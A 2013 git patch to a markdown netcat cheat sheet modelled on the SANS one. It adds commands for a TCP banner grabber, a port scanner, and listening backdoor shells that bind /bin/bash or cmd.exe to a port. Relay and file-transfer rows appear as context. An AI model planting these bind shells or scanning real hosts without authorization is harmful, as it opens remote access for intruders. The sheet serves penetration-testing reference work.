From 6631aa38060e4d5e880afe3aadbbff4c9d62c16d Mon Sep 17 00:00:00 2001 From: webbreacher Date: Mon, 16 Dec 2013 18:11:28 -0500 Subject: [PATCH] Adding content like banner grabber and port scanner. --- cats/netcat.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/cats/netcat.md b/cats/netcat.md index c9f4567..6216f43 100755 --- a/cats/netcat.md +++ b/cats/netcat.md @@ -12,4 +12,7 @@ The [SANS Institute](http://www.sans.org/security-resources/sec560/netcat_cheat_ | **Client 1:** `echo nc [NextHopIPaddr] [port2] > relay.bat`
**Client 2:** `nc [PreviousHopIPaddr] [port] -e relay.bat` | Relay - Windows | **Client-to-Client Relay** - Create a relay that will send packets from the connection to [PreviousHopIPaddr] on port [port] to a Netcat Client connected to [NextHopIPaddr] on port [port2] | | **Client:** `nc -l -p [LocalPort] > [outfile]`
**Listener:** `nc -w3 [TargetIPaddr] [port] < [infile]` | File Transfer - All OS | Push [infile] to [TargetIPaddr] on [port] | | **Listener:** `nc -l -p [LocalPort] < [infile]`
**Client:** `nc -w3 [TargetIPaddr] [port] > [outfile]` | File Transfer - All OS | Connect to [TargetIPaddr] on [port] and retrieve [outfile] | - +| `echo ""` | `nc -v -n -w1 [TargetIPaddr] [start_port] [end_port]` | TCP Banner Grabber | Attempt to connect to each port in a range from [end_port] to [start_port] on [TargetIPaddr]. Then send a blank string to the open port and print out any banner received in response. | +| `nc -v -n -z -w1 [TargetIPaddr] [start_port] [end_port]` | TCP Port Scanner | Attempt to connect to each port in a range from [end_port] tp [start_port] on IP address [TargetIPaddr]. | +| `nc -l -p [LocalPort] -e /bin/bash` | Backdoor - Linux | Listening backdoor shell for a Linux computer. Use a netcat client to connect to the target's IP address on the [LocalPort] and you will get a BASH shell. | +| `nc -l -p [LocalPort] -e cmd.exe` | Backdoor - Windows | Listening backdoor shell for a Windows computer. Use a netcat client to connect to the target's IP address on the [LocalPort] and you will get a CMD shell. |